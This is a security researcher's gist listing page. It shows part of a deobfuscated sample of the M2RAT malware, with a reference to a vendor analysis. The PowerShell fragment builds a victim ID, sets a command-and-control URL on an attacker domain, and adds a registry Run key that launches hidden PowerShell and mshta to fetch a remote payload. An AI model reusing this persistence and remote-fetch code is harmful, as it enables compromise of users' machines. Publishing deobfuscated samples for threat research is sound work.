Sh1n0g1 Sh1n0g1

Security Researcher // Malware *simulator* developer // CTF Organizer

Sh1n0g1 / shodan-query.ipynb

Last active July 21, 2023 04:52

Shodan Query.ipynb

Sorry, something went wrong. Reload?

Sorry, we cannot display this file.

Sorry, this file is invalid so it cannot be displayed.

Sh1n0g1 / M2RAT.ps1

Last active September 25, 2023 06:03

	# Deobfuscated M2RAT
	# Refer: https://asec.ahnlab.com/en/56857/
	Start-Sleep -Seconds 68;
	$buffer = 1024 * 1024;
	$hostid = $env:COMPUTERNAME + '-' + $env:USERNAME;
	$C2_URL = 'http://navercorp.ru/dashboard/image/202302/com.php' + '?U=' + $hostid;
	$TEMPORARY_FILE = $env:TEMP + '\jXShAegMEWMw';
	if (!(Test-Path$TEMPORARY_FILE)) {
	New-ItemProperty -Path HKCU:\Software\ Microsoft\Windows\CurrentVersion\Run -Name fGZtM -Value 'c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 391763 2.2.2.2 \|\| mshta http://navercorp.ru/dashboard/image/202302/4.html' -PropertyType String -Force;
	}